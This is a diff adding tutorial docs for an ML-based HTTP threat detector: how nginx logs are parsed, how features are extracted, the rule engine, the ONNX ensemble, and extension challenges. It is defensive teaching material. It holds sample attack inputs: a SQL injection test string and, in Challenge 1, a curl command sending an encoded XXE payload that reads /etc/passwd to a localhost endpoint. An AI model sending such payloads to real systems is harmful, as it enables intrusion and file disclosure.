The trade-off: SIEMs are more general but require significant infrastructure and tuning. AngelusVigil is purpose-built for HTTP threat detection with a trained ML ensemble. You'd use AngelusVigil as a specialized detector feeding events into a SIEM for broader correlation.
### vs. AWS WAF / Cloudflare WAF
Cloud WAFs operate at the CDN/load balancer layer and can block traffic before it reaches your server. They use proprietary ML models trained on aggregate traffic from millions of sites.
The trade-off: Cloud WAFs have massive training datasets and zero deployment effort, but they're opaque (you can't inspect the models) and expensive at scale. AngelusVigil is fully transparent, customizable, and free, but requires your own infrastructure and training data.
## Key Files Reference
Quick map of where to find things:
- `backend/app/factory.py` - Application lifecycle (start/stop all subsystems)
- `backend/app/config.py` - All configuration with defaults and validation
- `backend/app/core/ingestion/pipeline.py` - The 4-stage async pipeline
- `backend/app/core/ingestion/tailer.py` - Watchdog-based log file tailer
- `backend/app/core/detection/rules.py` - Rule engine with 9 patterns + 2 thresholds
- `backend/app/core/detection/inference.py` - ONNX inference engine (3 models)
- `backend/app/core/detection/ensemble.py` - Score normalization and fusion
- `backend/app/core/features/extractor.py` - 23 per-request features
- `backend/app/core/features/aggregator.py` - 12 Redis-backed windowed features
- `backend/ml/orchestrator.py` - End-to-end training pipeline
- `frontend/src/pages/dashboard/index.tsx` - Dashboard with live alert feed
- `frontend/src/api/hooks/useAlerts.ts` - WebSocket connection with Zustand
## Next Steps
Now that you understand the architecture:
1. Read [03-IMPLEMENTATION.md](./03-IMPLEMENTATION.md) for a detailed code walkthrough
2. Try modifying the ensemble weights in `.env` and observing how severity distribution changes on the dashboard

859
PROJECTS/advanced/ai-threat-detection/learn/03-IMPLEMENTATION.md Normal file
View File

@ -0,0 +1,859 @@
# Implementation Guide
This document walks through the actual code. We'll trace how data flows from raw log lines to scored threat alerts, explain each component's implementation, and cover the decisions behind the code.
## File Structure Walkthrough
```
backend/
├── app/
│ ├── api/
│ │ ├── deps.py # Dependency injection (DB sessions, API key)
│ │ ├── health.py # GET /health, GET /ready
│ │ ├── ingest.py # POST /ingest/batch (manual log ingestion)
│ │ ├── models_api.py # GET /models/status, POST /models/retrain
│ │ ├── stats.py # GET /stats (time-windowed aggregates)
│ │ ├── threats.py # GET /threats, GET /threats/{id}
│ │ └── websocket.py # WS /ws/alerts (real-time alert stream)
│ ├── core/
│ │ ├── alerts/
│ │ │ └── dispatcher.py # Routes scored events to storage + pub/sub
│ │ ├── detection/
│ │ │ ├── ensemble.py # Score normalization, fusion, severity
│ │ │ ├── inference.py # ONNX runtime (3-model inference)
│ │ │ └── rules.py # ModSecurity-inspired rule engine
│ │ ├── enrichment/
│ │ │ └── geoip.py # MaxMind GeoLite2 lookups
│ │ ├── features/
│ │ │ ├── aggregator.py # Redis sorted set windowed features
│ │ │ ├── encoder.py # Feature dict -> float32 vector
│ │ │ ├── extractor.py # 23 per-request feature extraction
│ │ │ ├── mappings.py # Feature order, encoders, constants
│ │ │ ├── patterns.py # Compiled attack regex patterns
│ │ │ └── signatures.py # Bot and scanner UA signatures
│ │ └── ingestion/
│ │ ├── parsers.py # Nginx log line parser (split + regex)
│ │ ├── pipeline.py # 4-stage async pipeline
│ │ └── tailer.py # Watchdog file tailer with rotation
│ ├── models/
│ │ ├── Base.py # TimestampedModel base class
│ │ ├── ModelMetadata.py # ML model version tracking
│ │ └── ThreatEvent.py # Stored threat events
│ ├── schemas/ # Pydantic response models
│ ├── services/
│ │ ├── stats_service.py # Aggregate query builder
│ │ └── threat_service.py # CRUD for threat events
│ ├── config.py # Pydantic Settings
│ └── factory.py # App factory + lifespan
├── ml/
│ ├── autoencoder.py # ThreatAutoencoder PyTorch module
│ ├── experiment.py # MLflow experiment wrapper
│ ├── export_onnx.py # PyTorch/sklearn -> ONNX export
│ ├── orchestrator.py # End-to-end training pipeline
│ ├── scaler.py # IQR-based FeatureScaler
│ ├── splitting.py # Stratified split + SMOTE
│ ├── train_autoencoder.py # AE training with early stopping
│ ├── train_classifiers.py # RF + IF training
│ └── validation.py # Ensemble validation + quality gates
├── cli/
│ └── main.py # Typer CLI (train, retrain, replay)
└── tests/ # pytest suite
```
## Building the Log Ingestion Pipeline
### Step 1: Parsing Nginx Log Lines
The parser turns raw text into structured data. An nginx combined-format line looks like:
```
93.184.216.34 - - [15/Mar/2026:09:22:31 +0000] "GET /api/users?id=1 HTTP/1.1" 200 1234 "-" "Mozilla/5.0"
```
The `parse_combined` function in `parsers.py` tries a fast string-split path first, falling back to regex for edge cases:
```python
def parse_combined(line: str) -> ParsedLogEntry | None:
if not line:
return None
result = _parse_split(line)
if result is not None:
return result
return _parse_regex(line)
```
The split parser exploits the fact that nginx combined format uses quotes as delimiters. Splitting on `"` gives predictable segments:
```python
def _parse_split(line: str) -> ParsedLogEntry | None:
try:
parts = line.split('"')
if len(parts) < 6:
return None
prefix = parts[0]
request_line = parts[1]
status_size = parts[2]
referer_raw = parts[3]
user_agent = parts[5]
bracket_open = prefix.index("[")
bracket_close = prefix.index("]")
ip = prefix[:bracket_open].split()[0]
timestamp = datetime.strptime(
prefix[bracket_open + 1:bracket_close],
_TIMESTAMP_FMT,
)
...
```
**Why this works:** Nginx combined format always quotes the request line, referer, and user-agent. The segments between quotes follow a fixed pattern. String splitting is 3-5x faster than regex matching because it avoids backtracking.
**When the split path fails:** If the log line has an unusual format (extra quotes in the request, malformed fields), `_parse_split` returns `None` and the regex fallback handles it:
```python
_COMBINED_RE = re.compile(
r"(?P<ip>\S+) \S+ \S+ "
r"\[(?P<timestamp>[^\]]+)\] "
r'"(?P<request>[^"]*)" '
r"(?P<status>\d{3}) "
r"(?P<size>\S+) "
r'"(?P<referer>[^"]*)" '
r'"(?P<user_agent>[^"]*)"'
)
```
The result is a frozen, slotted `ParsedLogEntry` dataclass. Frozen because parsed entries should never be mutated. Slotted for memory efficiency when processing thousands of entries.
### Step 2: The 4-Stage Pipeline
The `Pipeline` class in `pipeline.py` chains four async workers connected by sized queues:
```
raw_queue (1000) → [parse] → parsed_queue (500) → [features]
→ feature_queue (200) → [detect] → alert_queue (100) → [dispatch]
```
Each queue has a max size that provides backpressure. If the detection stage falls behind, the feature queue fills up, which blocks the feature worker, which backs up the parsed queue, which eventually backs up the raw queue. When the raw queue is full, the tailer drops lines (logged as warnings).
The pipeline spawns four `asyncio.Task` objects:
```python
async def start(self) -> None:
self._tasks = [
asyncio.create_task(self._parse_worker(), name="parse"),
asyncio.create_task(self._feature_worker(), name="feature"),
asyncio.create_task(self._detection_worker(), name="detection"),
asyncio.create_task(self._dispatch_worker(), name="dispatch"),
]
```
Each worker follows the same pattern: pull from input queue, process, push to output queue, loop. Shutdown uses a poison-pill (`None`) that cascades through the chain:
```python
async def stop(self) -> None:
await self.raw_queue.put(None)
await asyncio.gather(*self._tasks)
```
When the parse worker sees `None`, it forwards it to the parsed queue and exits. The feature worker sees `None` on the parsed queue, forwards it, and exits. This cascades until all workers have stopped.
### Step 3: File Tailing with Rotation Detection
The `LogTailer` in `tailer.py` watches the nginx log file using Watchdog's `PollingObserver` (not inotify, because Docker volumes don't always propagate inotify events).
The handler responds to three events:
- `on_modified`: New data appended. Read new lines and push to queue.
- `on_moved`: Log rotation via rename (`access.log` -> `access.log.1`). Finish reading the old file, then reopen the target at position 0.
- `on_created`: Log rotation where a new file appears at the target path. Same as `on_moved`.
Position persistence is the critical detail for crash recovery:
```python
def _save_position(self) -> None:
if self._position_path is None or self._file is None:
return
try:
self._position_path.write_text(
json.dumps({
"inode": self._inode,
"offset": self._file.tell(),
}),
)
except OSError:
logger.debug("Failed to save tailer position")
```
On restart, `_open_target` checks if the saved inode matches the current file. If it does, the tailer resumes from the saved offset. If the inode changed (file was rotated), it starts from the beginning of the new file.
**Why inode tracking matters:** The filename `access.log` can point to different files over time due to rotation. The inode is the file system's identity for the actual file. If the inode changed, the file we were reading was rotated away and a new one was created.
**Why `call_soon_threadsafe`:** Watchdog runs its callback handlers in a separate thread. The asyncio queue belongs to the event loop's thread. `call_soon_threadsafe` bridges the gap by scheduling the `put_nowait` call on the event loop thread.
## Building the Feature Extraction System
### Per-Request Features
The `extract_request_features` function in `extractor.py` computes 23 features from a single `ParsedLogEntry`:
```python
def extract_request_features(
entry: ParsedLogEntry,
country_code: str = "",
) -> dict[str, int | float | bool | str]:
full_uri = entry.path
if entry.query_string:
full_uri = f"{entry.path}?{entry.query_string}"
ua_lower = entry.user_agent.lower()
non_alnum = sum(1 for c in entry.path if not c.isalnum())
path_len = len(entry.path)
_, ext = splitext(entry.path)
return {
"http_method": entry.method,
"path_depth": len([s for s in entry.path.split("/") if s]),
"path_entropy": _shannon_entropy(entry.path),
...
}
```
Each feature is deliberately chosen for a specific detection signal:
- `path_entropy` catches attack payloads that have high randomness compared to normal URL paths
- `special_char_ratio` flags paths with unusual concentrations of non-alphanumeric characters (common in SQL injection and XSS payloads)
- `has_double_encoding` detects evasion techniques where attackers encode their payloads twice to bypass basic URL decoding
- `is_known_scanner` matches User-Agent strings against a curated list of known scanning tools
### Windowed Aggregation
The `WindowAggregator` in `aggregator.py` computes 12 per-IP behavioral features using Redis sorted sets. The entire operation happens in a single pipelined round-trip:
```python
async def record_and_aggregate(
self, ip, request_id, path, path_depth,
method, status_code, user_agent, response_size, timestamp,
) -> dict[str, float]:
prefix = f"ip:{ip}"
keys = {
"requests": f"{prefix}:requests",
"paths": f"{prefix}:paths",
"statuses": f"{prefix}:statuses",
...
}
pipe = self._redis.pipeline()
pipe.zadd(keys["requests"], {request_id: timestamp})
pipe.zadd(keys["paths"], {_hash_member(path): timestamp})
...
for key in keys.values():
pipe.zremrangebyscore(key, "-inf", trim_boundary)
pipe.zcount(keys["requests"], w1m, "+inf")
pipe.zcount(keys["requests"], w5m, "+inf")
...
results = await pipe.execute()
```
The pipeline packs 30 Redis commands into a single round-trip:
- 7 `ZADD` to record the new request across all sorted sets
- 7 `ZREMRANGEBYSCORE` to trim entries older than 15 minutes
- 5 `ZCOUNT` for request counts at 1m/5m/10m windows and unique counts
- 4 `ZRANGEBYSCORE` for detailed member retrieval (statuses, sizes, methods, depths)
- 7 `EXPIRE` to set TTL on all keys
**Why MD5 hashing for some members:** Sorted sets use members as unique identifiers. For paths and user agents, we want to count unique values. Hashing provides a fixed-size member that deduplicates effectively without storing full strings in Redis:
```python
def _hash_member(value: str) -> str:
return hashlib.md5(value.encode(), usedforsecurity=False).hexdigest()[:16]
```
The `usedforsecurity=False` flag avoids FIPS compliance warnings since we're using MD5 for deduplication, not cryptographic security.
**Inter-request time statistics** capture the timing pattern of requests from a single IP:
```python
def _inter_request_time_stats(entries):
if len(entries) < 2:
return 0.0, 0.0
timestamps = sorted(score for _, score in entries)
deltas = [
(timestamps[i + 1] - timestamps[i]) * 1000
for i in range(len(timestamps) - 1)
]
mean = sum(deltas) / len(deltas)
if len(deltas) < 2:
return mean, 0.0
variance = sum((d - mean)**2 for d in deltas) / len(deltas)
return mean, math.sqrt(variance)
```
Legitimate users have irregular request spacing (reading pages, clicking links). Automated tools have uniform spacing. A low standard deviation relative to the mean is a bot fingerprint.
### Feature Encoding
The `encode_for_inference` function in `encoder.py` transforms the mixed-type feature dictionary into a 35-element `float32` vector:
```python
def encode_for_inference(features):
vector: list[float] = []
for name in FEATURE_ORDER:
raw = features[name]
if name in BOOLEAN_FEATURES:
vector.append(1.0 if raw else 0.0)
elif name in CATEGORICAL_ENCODERS:
vector.append(float(CATEGORICAL_ENCODERS[name].get(str(raw), 0)))
elif name == "country_code":
vector.append(_encode_country(str(raw)))
else:
vector.append(float(raw))
return vector
```
`FEATURE_ORDER` defines the canonical ordering. This ordering must be identical at training and inference time. The `InferenceEngine` validates this by checking the `feature_names` field in `scaler.json` against `FEATURE_ORDER` at model load time.
Country codes use deterministic ordinal encoding (A=1, Z=26, two characters -> 1 to 676). This avoids one-hot encoding which would blow up the feature dimension.
## Building the Detection Engine
### The Rule Engine
The `RuleEngine` in `rules.py` evaluates every request against pattern rules, behavioral thresholds, and auxiliary checks:
```python
class RuleEngine:
def score_request(self, features, entry) -> RuleResult:
matched: list[tuple[str, float]] = []
uri = entry.path
if entry.query_string:
uri = f"{entry.path}?{entry.query_string}"
for rule in _PATTERN_RULES:
if rule.pattern.search(uri):
matched.append((rule.name, rule.score))
if DOUBLE_ENCODED.search(uri):
matched.append(("DOUBLE_ENCODING", _DOUBLE_ENCODING_SCORE))
ua_lower = entry.user_agent.lower()
if any(sig in ua_lower for sig in SCANNER_USER_AGENTS):
matched.append(("SCANNER_UA", _SCANNER_UA_SCORE))
for trule in _THRESHOLD_RULES:
value = features.get(trule.feature_key, 0)
if isinstance(value, int | float) and value > trule.threshold:
matched.append((trule.name, trule.score))
```
The scoring logic applies a boost for multi-rule matches:
```python
scores = sorted([s for _, s in matched], reverse=True)
threat_score = min(
scores[0] + _BOOST_PER_ADDITIONAL_RULE * (len(scores) - 1),
1.0,
)
```
A request matching SQL injection (0.85) + double encoding (0.40) + scanner UA (0.35) scores `0.85 + 0.05 * 2 = 0.95` because the highest rule score (0.85) gets a 0.05 boost per additional match (2 more rules = +0.10).
### ONNX Inference
The `InferenceEngine` in `inference.py` loads three ONNX sessions and runs them in sequence on each batch:
```python
def predict(self, batch: np.ndarray) -> dict[str, list[float]] | None:
if not self._loaded:
return None
ae_input = self._scale_for_ae(batch)
ae_reconstructed = self._ae_session.run(None, {"features": ae_input})[0]
ae_errors = np.mean((ae_input - ae_reconstructed)**2, axis=1)
rf_result = self._rf_session.run(None, {"features": batch})
rf_proba = self._extract_rf_proba(rf_result[1])
if_scores_raw = self._if_session.run(
None, {"features": batch}
)[1].flatten()
return {
"ae": ae_errors.tolist(),
"rf": rf_proba.tolist(),
"if": if_scores_raw.tolist(),
}
```
**Why `_scale_for_ae` only applies to the autoencoder:** The autoencoder was trained on RobustScaler-normalized data. The scaler parameters (center and scale arrays) are saved alongside the model in `scaler.json` and applied at inference time. The random forest and isolation forest were trained on raw feature vectors, so they receive the unscaled batch.
**Why single-threaded ONNX sessions:** The backend runs on asyncio's single-threaded event loop. If ONNX Runtime spins up its own thread pool, those threads compete with the event loop for CPU. Setting `inter_op_num_threads=1` and `intra_op_num_threads=1` keeps everything on one core and avoids contention.
### Score Blending in the Pipeline
The detection worker in `pipeline.py` ties rules and ML together:
```python
async def _detection_worker(self) -> None:
while True:
enriched = await self._feature_queue.get()
if enriched is None:
...
break
try:
rule_result = self._rule_engine.score_request(
enriched.features, enriched.entry,
)
final_score = rule_result.threat_score
detection_mode = "rules"
per_model_scores = None
if (self._inference_engine is not None
and self._inference_engine.is_loaded
and np is not None):
per_model_scores = self._score_with_ml(
enriched.feature_vector,
)
if per_model_scores is not None:
ml_fused = fuse_scores(
per_model_scores, self._ensemble_weights,
)
final_score = blend_scores(
ml_fused, rule_result.threat_score,
)
detection_mode = "hybrid"
```
When ML models are available, the flow is: rule score + ML ensemble fused score -> blended final score. When ML is unavailable (cold start), the rule score becomes the final score directly. The `detection_mode` field on `ScoredRequest` tracks which path was taken.
## Building the ML Training Pipeline
### The Training Orchestrator
`TrainingOrchestrator.run()` in `orchestrator.py` executes the full pipeline:
```python
def run(self, X: np.ndarray, y: np.ndarray) -> TrainingResult:
self._output_dir.mkdir(parents=True, exist_ok=True)
split = prepare_training_data(X, y)
with VigilExperiment(self._experiment_name) as experiment:
experiment.log_params({
"epochs": self._epochs,
"batch_size": self._batch_size,
"n_samples": len(X),
"n_attack": int(np.sum(y == 1)),
"n_normal": int(np.sum(y == 0)),
"n_features": X.shape[1],
})
ae_result = self._train_ae(split.X_normal_train)
rf_result = self._train_rf(split.X_train, split.y_train)
if_result = self._train_if(split.X_normal_train)
self._export_models(ae_result, rf_result, if_result)
...
```
Note the training data used by each model:
- Autoencoder: `X_normal_train` (normal traffic only, no attacks)
- Random Forest: `X_train, y_train` (labeled mix of normal + attack, with SMOTE)
- Isolation Forest: `X_normal_train` (normal traffic only)
The autoencoder and isolation forest learn what "normal" looks like. The random forest learns to distinguish normal from attack. This mix of supervised and unsupervised approaches is the core of the ensemble strategy.
### Autoencoder Training
The training loop in `train_autoencoder.py` uses standard PyTorch patterns with a few specific choices:
```python
model = ThreatAutoencoder(input_dim=input_dim)
optimizer = torch.optim.AdamW(
model.parameters(), lr=lr, weight_decay=1e-5, betas=(0.9, 0.999)
)
scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(
optimizer, mode="min", factor=0.5, patience=5, min_lr=1e-6
)
```
- **AdamW** instead of plain Adam: Weight decay regularization helps prevent the autoencoder from memorizing training data. We want it to learn general patterns of normal traffic, not specific requests.
- **ReduceLROnPlateau**: Halves the learning rate when validation loss plateaus for 5 epochs. This prevents oscillating around a minimum.
- **Gradient clipping** at `max_norm=1.0`: The mixed feature types (some 0-1, some 0-100000) can cause gradient explosions. Clipping stabilizes training.
- **Early stopping** with patience 10: Stops training when validation loss hasn't improved for 10 epochs. Prevents overfitting.
The threshold calibration happens after training completes:
```python
model.eval()
with torch.no_grad():
val_errors = model.compute_reconstruction_error(val_tensor)
threshold = float(np.percentile(val_errors.numpy(), percentile))
```
The 99.5th percentile of reconstruction errors on the validation set becomes the anomaly threshold. This means roughly 0.5% of normal traffic will be flagged as anomalous, which is the baseline false positive rate.
### Ensemble Validation and Quality Gates
After training, `validate_ensemble` in `validation.py` tests the full ensemble against a held-out test set:
```python
def validate_ensemble(
model_dir, X_test, y_test,
ensemble_weights=None, pr_auc_gate=0.85, f1_gate=0.80,
) -> ValidationResult:
engine = InferenceEngine(model_dir=str(model_dir))
raw_scores = engine.predict(X_test.astype(np.float32))
fused = _compute_fused_scores(raw_scores, engine.threshold, weights)
y_pred = (fused >= BINARY_THRESHOLD).astype(np.int32)
prec = float(precision_score(y_test, y_pred, zero_division=0))
rec = float(recall_score(y_test, y_pred, zero_division=0))
f1_val = float(f1_score(y_test, y_pred, zero_division=0))
pr_auc_val = float(average_precision_score(y_test, fused))
...
```
**Why PR-AUC instead of ROC-AUC as the primary gate:** In threat detection, the class distribution is heavily imbalanced (1-5% attacks vs. 95-99% normal). ROC-AUC can look great even when the model has a high false positive rate because the overwhelming number of true negatives inflates the metric. PR-AUC focuses on precision and recall for the positive class (attacks), making it a more honest metric for imbalanced detection problems.
The quality gates (PR-AUC >= 0.85, F1 >= 0.80) prevent deploying models that would flood analysts with false positives. If either gate fails, `passed_gates` is `False` and the retrain endpoint reports the failure without swapping models.
## Building the Alert System
### Dispatcher
The `AlertDispatcher` in `dispatcher.py` receives `ScoredRequest` objects from the pipeline's dispatch stage:
```python
async def dispatch(self, scored: ScoredRequest) -> None:
severity = classify_severity(scored.final_score)
logger.info(
"threat_event severity=%s score=%.2f mode=%s ip=%s path=%s rules=%s",
severity, scored.final_score, scored.detection_mode,
scored.entry.ip, scored.entry.path, scored.rule_result.matched_rules,
)
if severity in ("HIGH", "MEDIUM"):
await self._store_event(scored)
await self._publish_alert(scored, severity)
```
Every event is logged (structured JSON to stdout). Only MEDIUM and HIGH severity events are stored to PostgreSQL and published to the WebSocket channel. This keeps storage bounded while ensuring analysts have full context for non-trivial threats.
The pub/sub publish sends a Pydantic-serialized JSON payload:
```python
async def _publish_alert(self, scored, severity):
alert = WebSocketAlert(
timestamp=scored.entry.timestamp,
source_ip=scored.entry.ip,
request_method=scored.entry.method,
request_path=scored.entry.path,
threat_score=scored.final_score,
severity=severity,
component_scores={
**scored.rule_result.component_scores,
**(scored.ml_scores or {}),
},
)
await self._redis.publish(ALERTS_CHANNEL, alert.model_dump_json())
```
### WebSocket Relay on the Frontend
The `useAlerts` hook in `useAlerts.ts` manages the WebSocket connection with Zustand state and exponential backoff reconnect:
```typescript
function connect() {
const ws = new WebSocket(getWsUrl())
wsRef.current = ws
ws.onmessage = (event) => {
const parsed = WebSocketAlertSchema.safeParse(JSON.parse(event.data))
if (parsed.success) {
addAlert({ ...parsed.data, id: crypto.randomUUID() })
}
}
ws.onclose = () => {
setConnected(false)
scheduleReconnect()
}
}
function scheduleReconnect() {
const delay = Math.min(
ALERTS.RECONNECT_BASE_MS * 2 ** retryCountRef.current,
ALERTS.RECONNECT_MAX_MS
)
retryCountRef.current += 1
retryTimerRef.current = setTimeout(connect, delay)
}
```
**Why Zod validation:** The WebSocket receives raw JSON from the server. `safeParse` validates the shape matches `WebSocketAlertSchema` before adding it to state. This prevents corrupt or unexpected messages from crashing the UI.
**Why a ring buffer:** The alert store caps at `ALERTS.MAX_ITEMS` (100). New alerts prepend and old ones are dropped. This bounds memory usage and keeps the feed focused on recent activity.
**Why exponential backoff:** If the backend restarts or the network hiccups, the WebSocket connection drops. Exponential backoff (500ms, 1s, 2s, 4s, ... capped at 30s) prevents hammering the server during an outage while recovering quickly from brief interruptions.
## Application Lifecycle
The `factory.py` lifespan manages startup and shutdown:
```python
@asynccontextmanager
async def lifespan(app: FastAPI) -> AsyncIterator[None]:
engine = create_async_engine(settings.database_url)
app.state.session_factory = async_sessionmaker(engine, ...)
async with engine.begin() as conn:
await conn.run_sync(SQLModel.metadata.create_all)
await redis_manager.connect()
geoip = GeoIPService(settings.geoip_db_path)
dispatcher = AlertDispatcher(
redis_client=redis_manager.client,
session_factory=app.state.session_factory,
)
inference_engine = _load_inference_engine()
app.state.detection_mode = "hybrid" if inference_engine else "rules"
pipeline = Pipeline(
redis_client=redis_client, rule_engine=RuleEngine(),
geoip=geoip, on_result=dispatcher.dispatch,
inference_engine=inference_engine, ...
)
await pipeline.start()
tailer = LogTailer(settings.nginx_log_path, pipeline.raw_queue, loop)
tailer.start()
yield # Application runs here
tailer.stop()
await pipeline.stop()
geoip.close()
await redis_manager.disconnect()
await engine.dispose()
```
The startup order matters: database first (schema creation), then Redis (pipeline depends on it), then GeoIP, then the pipeline (depends on all three), then the tailer (feeds the pipeline). Shutdown reverses the order: stop input (tailer), drain pipeline, close connections.
The `_load_inference_engine` function attempts to load ONNX models and returns `None` if they don't exist or onnxruntime isn't installed. This graceful fallback is what makes rules-only mode work on fresh deployments.
## Configuration Management
Pydantic Settings in `config.py` loads from environment variables and `.env`:
```python
class Settings(BaseSettings):
model_config = SettingsConfigDict(
env_file=".env",
env_file_encoding="utf-8",
case_sensitive=False,
)
ensemble_weight_ae: float = 0.40
ensemble_weight_rf: float = 0.40
ensemble_weight_if: float = 0.20
@model_validator(mode="after")
def _check_ensemble_weights(self) -> Self:
total = (
self.ensemble_weight_ae
+ self.ensemble_weight_rf
+ self.ensemble_weight_if
)
if abs(total - 1.0) > 1e-6:
raise ValueError(
f"Ensemble weights must sum to 1.0, got {total:.6f}"
)
return self
```
The `model_validator` catches misconfiguration at startup. If someone sets the weights to 0.4/0.4/0.3 (sums to 1.1), the application fails immediately with a clear error instead of silently computing wrong scores.
## Testing Strategy
### Unit Tests
Parser tests verify both the fast and fallback paths:
```python
def test_parse_combined_standard_line():
line = '93.184.216.34 - - [15/Mar/2026:14:22:31 +0000] "GET /api/users HTTP/1.1" 200 1234 "-" "Mozilla/5.0"'
entry = parse_combined(line)
assert entry is not None
assert entry.ip == "93.184.216.34"
assert entry.method == "GET"
assert entry.path == "/api/users"
assert entry.status_code == 200
```
Feature extraction tests verify specific detection signals:
```python
def test_sqli_payload_detected():
entry = make_entry(path="/search", query_string="q=1' OR '1'='1")
features = extract_request_features(entry)
assert features["has_attack_pattern"] is True
assert features["query_string_length"] > 0
```
### Integration Tests
End-to-end pipeline tests push a log line through all four stages and verify the output:
```python
async def test_pipeline_processes_log_line():
pipeline = Pipeline(redis_client=mock_redis, rule_engine=RuleEngine())
results = []
pipeline._on_result = lambda scored: results.append(scored)
await pipeline.start()
await pipeline.raw_queue.put(SAMPLE_LOG_LINE)
await pipeline.raw_queue.put(None)
await asyncio.gather(*pipeline._tasks)
assert len(results) == 1
assert results[0].final_score >= 0.0
```
### Running Tests
```bash
just test # Run full suite
just test-v # Verbose output
just test-cov # With coverage report
```
## Common Implementation Pitfalls
### Pitfall 1: Forgetting to Normalize ML Scores
**Symptom:**
The autoencoder scores are 0.001-0.05 while the random forest scores are 0.0-1.0. The ensemble fusion produces scores dominated by the RF because the AE scores are tiny.
**Cause:**
Raw autoencoder scores are reconstruction errors (MSE), not probabilities. They need normalization against the calibrated threshold.
**Fix:**
Always normalize before fusing:
```python
per_model["ae"] = normalize_ae_score(raw["ae"][0], engine.threshold)
per_model["rf"] = raw["rf"][0] # Already a probability
per_model["if"] = normalize_if_score(raw["if"][0])
```
### Pitfall 2: Feature Ordering Mismatch
**Symptom:**
The model produces nonsensical scores. A clearly benign request scores 0.95, an obvious SQL injection scores 0.02.
**Cause:**
The feature vector at inference time is ordered differently than at training time. Feature 0 at training was `http_method`, but at inference it's `path_depth`.
**Fix:**
Both training and inference must use `FEATURE_ORDER` from `mappings.py`. The inference engine validates this at load time by checking the `feature_names` array in `scaler.json`.
### Pitfall 3: Redis Key Bloat
**Symptom:**
Redis memory usage grows indefinitely. The `INFO memory` command shows increasing `used_memory`.
**Cause:**
The `EXPIRE` commands in the aggregator pipeline are failing silently, or the trim boundary calculation is wrong, so old entries never get cleaned up.
**Fix:**
Verify that `KEY_TTL = 900` (15 minutes) is set and that `ZREMRANGEBYSCORE` is trimming entries older than the window. Check Redis key counts with `DBSIZE` and inspect individual keys with `ZCARD`.
## Debugging Tips
### Pipeline Not Processing Logs
**Problem:** The dashboard shows no activity even though nginx is writing logs.
**How to debug:**
1. Check the tailer: `GET /health` returns `pipeline_running: true` and stats showing `parsed > 0`
2. Check the log file exists: `docker compose exec backend ls -la /var/log/nginx/access.log`
3. Check tailer permissions: The backend container must have read access to the nginx log volume
4. Check Redis connectivity: If Redis is down, the feature worker fails silently and drops requests
### Model Training Fails Quality Gates
**Problem:** Training completes but `passed_gates: false`. The retrain endpoint reports failure.
**How to debug:**
1. Check the MLflow metrics: Look at `pr_auc` and `f1` in the training output
2. Check class distribution: If the training data is 99% normal with very few attack samples, the model can't learn to distinguish. Supplement with synthetic attack data
3. Check feature quality: If all features are zero or constant, the models have nothing to learn from. Verify that the feature extraction pipeline produces non-trivial values
### WebSocket Alerts Not Reaching Dashboard
**Problem:** The backend logs threat events but the dashboard alert feed is empty.
**How to debug:**
1. Check Redis pub/sub: `redis-cli SUBSCRIBE alerts` in a separate terminal should show messages when threats are detected
2. Check WebSocket connection: The browser dev tools Network tab should show a WebSocket connection to `/ws/alerts`
3. Check the connection status: The `useAlerts` hook exposes `connectionError` which the dashboard displays as a banner
## Build and Deploy
### Building
```bash
just build # Build production Docker images
just rebuild # Force rebuild without cache
```
### Local Development
```bash
just dev-up # Start dev stack (hot-reload enabled)
just dev-logs backend # Follow backend logs
just devlog-up # Start the synthetic traffic generator
```
### Production Deployment
```bash
# Set required environment variables
export POSTGRES_PASSWORD=<strong-password>
export API_KEY=<generated-api-key>
export GEOIP_ACCOUNT_ID=<maxmind-account>
export GEOIP_LICENSE_KEY=<maxmind-key>
just start # Start production stack (detached)
just logs # Follow all service logs
```
Key differences from dev:
- No hot-reload (uvicorn runs without `--reload`)
- Multi-stage Docker build (smaller images, no dev dependencies)
- Longer healthcheck start period (180s for initial model training)
- External nginx log volume mount (not the dev-log generator)
## Next Steps
You've seen how the code works. Now:
1. **Try the challenges** - [04-CHALLENGES.md](./04-CHALLENGES.md) has extension ideas from easy to expert
2. **Modify the ensemble weights** - Change `ENSEMBLE_WEIGHT_AE/RF/IF` in `.env` and observe how detection behavior changes on the dashboard
3. **Add a new detection rule** - Add an entry to `_PATTERN_RULES` in `rules.py` and test it with the dev-log simulator

587
PROJECTS/advanced/ai-threat-detection/learn/04-CHALLENGES.md Normal file
View File

@ -0,0 +1,587 @@
# Extension Challenges
You've built the base project. Now make it yours by extending it with new features.
These challenges are ordered by difficulty. Start with the easier ones to build confidence, then tackle the harder ones when you want to dive deeper.
## Easy Challenges
### Challenge 1: Add a New Detection Rule
**What to build:**
Add a detection rule for XML External Entity (XXE) injection attacks. XXE payloads contain strings like `<!ENTITY`, `<!DOCTYPE`, `SYSTEM "file:///`, and `xmlns:xi` in URL parameters or paths.
**Why it's useful:**
XXE (CWE-611) was in the OWASP Top 10 until 2021 when it was merged into A05:2021 Security Misconfiguration. The 2014 Facebook XXE vulnerability allowed reading arbitrary files from their servers. Any application that parses XML input from users is potentially vulnerable.
**What you'll learn:**
- How the rule engine pattern matching works
- Writing regex patterns that catch evasion variants
- Calibrating rule scores relative to existing rules
**Hints:**
- Add a compiled regex to `patterns.py` covering common XXE payloads
- Add a `_PatternRule` entry to `_PATTERN_RULES` in `rules.py` with an appropriate score (think about where XXE falls between FILE_INCLUSION at 0.75 and COMMAND_INJECTION at 0.90)
- Test with the dev-log simulator: modify `simulate.py` to generate XXE payloads
**Test it works:**
```bash
curl "http://localhost:8000/api/test?xml=%3C!DOCTYPE%20foo%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E"
```
Check the dashboard for a new threat event with your rule name in the matched_rules field.
### Challenge 2: Add Request Method Anomaly Detection
**What to build:**
Add a threshold rule that fires when an IP sends an unusual mix of HTTP methods. Normal users predominantly send GET requests with occasional POSTs. An IP sending lots of PUT, DELETE, PATCH, or OPTIONS requests within 5 minutes is likely probing the API for misconfigured endpoints.
**Why it's useful:**
API enumeration attacks often use uncommon HTTP methods to discover endpoints that respond differently (returning 200 instead of 405). The 2019 First American Financial breach was partially enabled by direct object reference vulnerabilities discovered through API probing.
**What you'll learn:**
- How threshold rules use windowed features
- Working with the `WindowAggregator` Redis data
- The difference between pattern rules (regex on URI) and threshold rules (numeric conditions on features)
**Hints:**
- `method_entropy_5m` is already computed by the aggregator. An entropy above 1.5 (more than 3 distinct methods with roughly equal frequency) is suspicious for most web applications
- Add a `_ThresholdRule` in `rules.py` targeting `method_entropy_5m`
